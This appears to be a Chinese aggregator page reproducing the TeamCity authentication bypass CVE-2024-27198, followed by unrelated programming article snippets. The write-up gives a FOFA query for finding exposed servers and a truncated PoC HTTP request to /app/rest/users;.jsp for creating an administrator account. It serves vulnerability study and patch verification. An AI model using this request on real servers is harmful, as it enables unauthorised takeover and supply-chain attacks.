当前位置： 首页 > news >正文

JetBrains TeamCity 身份验证绕过漏洞复现(CVE-2024-27198)

news 2026/4/4 3:27:56

0x01 产品简介

JetBrains TeamCity是一款由JetBrains开发的持续集成和持续交付（CI/CD）服务器。它提供了一个功能强大的平台，用于自动化构建、测试和部署软件项目。TeamCity旨在简化团队协作和软件交付流程，提高开发团队的效率和产品质量。

0x02 漏洞概述

JetBrains TeamCity发布新版本修复了两个高危漏洞JetBrains TeamCity 身份验证绕过漏洞(CVE-2024-27198)与JetBrains TeamCity 路径遍历漏洞(CVE-2024-27199)。未经身份验证的远程攻击者利用CVE-2024-27198可以绕过系统身份验证，创建管理员账户，完全控制所有TeamCity项目、构建、代理和构件，为攻击者执行供应链攻击。远程攻击者利用该漏洞能够绕过身份认证在系统上执行任意代码。

0x03 影响范围

TeamCity < 2023.11.4

0x04 复现环境

FOFA：body="Log in to TeamCity"

0x05 漏洞复现

PoC

POST /pwned?jsp=/app/rest/users;.jsp HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: */*
Content-Type: appli

相关文章：

JetBrains TeamCity 身份验证绕过漏洞复现(CVE-2024-27198)

0x01 产品简介 JetBrains TeamCity是一款由JetBrains开发的持续集成和持续交付（CI/CD）服务器。它提供了一个功能强大的平台，用于自动化构建、测试和部署软件项目。TeamCity旨在简化团队协作和软件交付流程，提高开发团队的效率和产品质量。 0x02 漏洞概述 JetBrains Team…...

编程日记 2024/3/5 19:29:59

设计模式—单例模式

单例模式&#xff08;Singleton Pattern&#xff09;是一种常用的软件设计模式&#xff0c;其核心思想是确保一个类仅有一个实例&#xff0c;并提供一个全局访问点来获取这个实例。单例模式主要用于控制资源的访问&#xff0c;比如配置文件的读取&#xff0c;数据库的连接等&am…...

编程日记 2024/3/5 19:24:55

Android在后台读取UVC摄像头的帧数据流并推送

Android在后台读取UVC摄像头的帧数据流并推送 添加UvcCamera依赖库 使用原版的 saki4510t/UVCCamera 在预览过程中断开可能会闪退&#xff0c;这里使用的是 jiangdongguo/AndroidUSBCamera 中修改的版本&#xff0c;下载到本地即可。 https://github.com/jiangdongguo/AndroidU…...

编程日记 2024/3/5 19:23:54

vue单向数据流介绍

Vue.js 的单向数据流是其核心设计原则之一&#xff0c;也是 Vue 响应式系统的基础。在 Vue.js 中&#xff0c;数据流主要是单向的&#xff0c;从父组件流向子组件。这种设计有助于保持组件之间的清晰通信&#xff0c;减少不必要的复杂性和潜在的错误。 以下是 Vue 单向数据流的…...

编程日记 2024/3/5 19:19:50

OpenMMlab AI实战营第四期培训

OpenMMlab AI实战营第四期培训 OpenMMlab实战营第四次课2023.2.6学习参考一、什么是目标检测1.目标检测下游视觉任务2.图像分类 v.s. 目标检测 二、目标检测实现1.滑窗 Sliding Window2.滑窗的效率问题3.改进思路&#xff08;1&#xff09;消除滑窗中的重复计算&#xff08;2&a…...

编程日记 2024/3/5 19:17:47

React轻松开发平台：实现高效、多变的应用开发范本

在当今快节奏的软件开发环境中&#xff0c;追求高效、灵活的应用开发方式成为了开发团队的迫切需求。React低代码平台崭露头角&#xff0c;为开发人员提供了一种全新的开发范式&#xff0c;让开发过程更高效、更灵活&#xff0c;从而加速应用程序的开发周期和交付速度。 1. 快…...

编程日记 2024/3/5 19:15:46

多域名SSL证书：保护多个网站的安全之选

什么是多域名SSL证书&#xff1f; 多域名SSL证书&#xff0c;顾名思义&#xff0c;是指一张SSL证书可以保护多个域名。与传统的单域名SSL证书相比&#xff0c;多域名SSL证书可以在一个证书中绑定多个域名&#xff0c;无需为每个域名单独购买和安装SSL证书。这样不仅可以节省成…...

编程日记 2024/3/5 19:14:44

HarmonyOS—HAP唯一性校验逻辑

HAP是应用安装的基本单位&#xff0c;在DevEco Studio工程目录中&#xff0c;一个HAP对应一个Module。应用打包时&#xff0c;每个Module生成一个.hap文件。 应用如果包含多个Module&#xff0c;在应用市场上架时&#xff0c;会将多个.hap文件打包成一个.app文件&#xff08;称…...

编程日记 2024/3/5 19:10:40

金三银四，程序员如何备战面试季

金三银四&#xff0c;程序员如何备战面试季 一个人简介二前言三面试技巧分享3.1 自我介绍 四技术问题回答4.1 团队协作经验展示 五职业规划建议5.1 短期目标5.2 中长期目标 六后记 一个人简介 &#x1f3d8;️&#x1f3d8;️个人主页&#xff1a;以山河作礼。 &#x1f396;️…...

编程日记 2024/3/5 19:07:36

VUE3项目学习系列--项目配置（二）

在项目团队开发过程中&#xff0c;多人协同开发为保证项目格式书写格式统一标准化&#xff0c;因此需要进行代码格式化校验&#xff0c;包括在代码编写过程中以及代码提交前进行自动格式化&#xff0c;因此需要进行在项目中进行相关的配置使之代码格式一致。 一、eslint配置 …...

编程日记 2024/3/5 19:01:27

idea：springboot项目搭建

目录 一、创建项目 1、File → New → Project 2、Spring Initializr → Next 3、填写信息 → Next 4、web → Spring Web → Next 5、填写信息 → Finish 6、处理配置不合理内容 7、注意事项 7.1 有依赖包&#xff0c;却显示找不到依赖&#xff0c;刷新一下maven 二…...

编程日记 2024/3/5 18:59:24

如何保证某个程序系统内只运行一个，保证原子性

GetMapping("/startETL") // Idempotent(expireTime 90, info "请勿90秒内连续点击")public R getGaugeTestData6() {log.info("start ETL");//redis设置t_data_load_record 值为2bladeRedis.set("t_data_load_record_type", 2);Str…...

编程日记 2024/3/5 18:57:22

golang常见面试题

1. go语言有哪些优点、特性&#xff1f; 语法简便&#xff0c;容易上手。 支持高并发&#xff0c;go有独特的协程概念&#xff0c;一般语言最小的执行单位是线程&#xff0c;go语言支持多开协程&#xff0c;协程是用户态线程&#xff0c;协程的占用内存更少&#xff0c;协程只…...

编程日记 2024/3/5 18:56:21

探索Python编程世界：从入门到精通

一.Python 从入门到精通 随着计算机科学的发展&#xff0c;编程已经成为了一种必备的技能。而 Python 作为一种简单易学、功能强大的编程语言&#xff0c;越来越受到人们的喜爱。本文将为初学者介绍 Python 编程的基础知识&#xff0c;帮助他们踏入 Python 编程的大门&#xf…...

编程日记 2024/3/5 18:55:20

Spark Shuffle Tracking 原理分析

Shuffle Tracking Shuffle Tracking 是 Spark 在没有 ESS(External Shuffle Service)情况&#xff0c;并且开启 Dynamic Allocation 的重要功能。如在 K8S 上运行 spark 没有 ESS。本文档所有的前提都是基于以上条件的。 如果开启了 ESS&#xff0c;那么 Executor 计算完后&a…...

编程日记 2024/3/5 18:54:19

Docker 干货系列 (持续更新)

dive 直接用本地镜像名称来启动&#xff0c;不需要走 hub dive.sh IMAGE_NAME"${1}" TMP_FILE/tmp/dive-tmp-image.tar docker save "$IMAGE_NAME" > $TMP_FILE && dive $TMP_FILE --sourcedocker-archive && rm $TMP_FILE示例&#…...

编程日记 2024/3/5 18:53:17

一.jwt token 前后端的逻辑

摘要 jwt token 前后端的交互逻辑&#xff0c;此部分只描述了一些交互逻辑&#xff0c;不涉及到真实应用的开发。 token的格式 tokenheader‘.’payload‘.’sign 第一次登陆的时候 判断http请求头中是否包含Authorization不包含则提示用户未登录当用户登录后&#xff0c;…...

编程日记 2024/3/5 18:51:15

day12_oop_抽象和接口

今日内容 零、 复习昨日 一、作业 二、抽象 三、接口 零、 复习昨日 final的作用 修饰类,类不能被继承修饰方法,方法不能重写[重点]修饰变量/属性,变成常量,不能更改 static修饰方法的特点 static修饰的方法,可以通过类名调用 static修饰的属性特点 在内存只有一份,被该类的所有…...

编程日记 2024/3/5 18:49:13

linux 将 api_key设置环境变量里

vi ~/.bashrc在最后添加api_key的环境变量 export GEMINI_API_KEYAIza**********WvpX7FwbdM刷新配置 source ~/.bashrc使用python 读取环境变量 import os gemini_api_key os.getenv(GEMINI_API_KEY) print(gemini_api_key)...

编程日记 2024/3/5 18:48:12

java八股文复习-----2024/03/03

1.接口和抽象类的区别 相似点&#xff1a; &#xff08;1&#xff09;接口和抽象类都不能被实例化 &#xff08;2&#xff09;实现接口或继承抽象类的普通子类都必须实现这些抽象方法 不同点&#xff1a; &#xff08;1&#xff09;抽象类可以包含普通方法和代码块&#x…...

编程日记 2024/3/5 18:46:08

优艾智合冲刺港股：年营收3.4亿亏3.8亿 蓝驰与真格是股东

雷递网 雷建平 4月3日合肥优艾智合机器人股份有限公司&#xff08;简称&#xff1a;“优艾智合”&#xff09;日前更新招股书&#xff0c;准备在港交所上市。年营收3.4亿 亏损3.8亿优艾智合是一家工业具身智能科技公司&#xff0c;为半导体、能源化工、锂电、3C及其他制造、公用…...

编程新知 2026/4/4 3:23:37

宿主机与虚拟机网络配置打通

Kali 虚拟机网络配置笔记 一、基础网络模式 1. 桥接模式 (Bridged) 目的&#xff1a;让虚拟机加入物理局域网配置&#xff1a; 选择物理网卡&#xff08;非VMnet1/VMnet8&#xff09;启用"复制物理网络连接状态"&#xff08;推荐笔记本用户&#xff09; 结果&#xf…...

编程新知 2026/4/4 1:36:37

STM32开发方式对比与HAL库深度解析

1. STM32开发方式概述对于刚接触STM32的开发者来说&#xff0c;选择合适的开发方式是首要问题。目前主要有三种开发方式&#xff1a;直接操作寄存器、使用标准库&#xff08;Standard Peripheral Library&#xff09;和使用HAL库&#xff08;Hardware Abstraction Layer&#x…...

编程新知 2026/4/4 1:20:27

Go语言的性能优化：从分析到实践

Go语言的性能优化&#xff1a;从分析到实践 性能优化的重要性 在软件开发中&#xff0c;性能优化是一个永恒的话题。一个高性能的应用程序可以&#xff1a; 提高用户体验&#xff0c;减少响应时间降低服务器成本&#xff0c;提高资源利用率增强系统的可扩展性提升应用程序的竞争…...

编程新知 2026/4/4 0:09:06

苹果内购Java后端避坑指南：收据验证、状态码处理和防重复消费实战

苹果内购Java后端深度防御指南&#xff1a;从收据验收到分布式幂等设计 当你的应用内购收入突然出现异常波动&#xff0c;或是用户投诉被重复扣款时&#xff0c;背后往往隐藏着苹果内购接口的"暗礁"。作为经历过百万级内购交易的老兵&#xff0c;我想分享几个真实生产…...

编程新知 2026/4/3 23:46:55

论文AI率太高怎么降？去AI化实用技巧与工具避坑指南

“整篇论文都是自己原创的&#xff0c;就用AI顺了下逻辑&#xff0c;结果学校AIGC检测直接飙到73%&#xff0c;当场被打回”“熬了3个通宵手动改&#xff0c;AI率才降了不到12%&#xff0c;离答辩只剩一周根本赶不完”“随便找了个降AI工具&#xff0c;把我专业名词改得乱七八糟…...

编程新知 2026/4/3 23:28:51

【FastAPI】 响应类型详解：从默认 JSON 到自定义响应

FastAPI 响应类型详解&#xff1a;从默认 JSON 到自定义响应&#xff08;HTML/文件/流/重定向&#xff09; 一、FastAPI 响应机制概述 FastAPI 默认会将路径操作函数返回的 Python 对象&#xff08;如 dict、list、Pydantic Model&#xff09;自动转换为 JSON 格式&#xff0c;…...

编程新知 2026/4/3 22:58:42

linux下的pwm子系统

概念:PWM的概念就不多说了&#xff0c;pwm子系统如下:设备树:rk3568设备树pwm控制器里面已经配置了时钟&#xff0c;所以只需要使能节点就好了/* 使能 PWM12 节点 配置使用指定的引脚 状态设置为正常工作 */&pwm12 {status "okay";pinctrl-0 <&pwm12m1_…...

编程新知 2026/4/3 22:08:06

AA-PEG-Lipoic acid，硫辛酸PEG乙酸，显著提升稳定性和生物相容性

一.名称英文名称&#xff1a;AA-PEG-LA&#xff0c;AA-PEG-Lipoic acid&#xff0c;Acetic Acid-PEG-LA&#xff0c;Acetic Acid-PEG-Lipoic acid&#xff0c;LA-PEG-AA&#xff0c;Lipoic acid-PEG-AA中文名称&#xff1a;硫辛酸聚乙二醇乙酸&#xff0c;硫辛酸PEG乙酸分子量&…...

编程新知 2026/4/3 19:55:08

基于BiTCN - BiGRU的分类预测Matlab代码实践：新手友好指南

基于BiTCN-BiGRU分类 Matlab代码 基于双向时间卷积网络结合双向门控循环单元(BiTCN-BiGRU)的数据分类预测(可以更换为单、多变量时序预测/回归&#xff0c;)&#xff0c;Matlab代码&#xff0c;可直接运行&#xff0c;适合小白新手 程序已经调试好&#xff0c;无需更改代码替换…...

编程新知 2026/4/3 19:41:05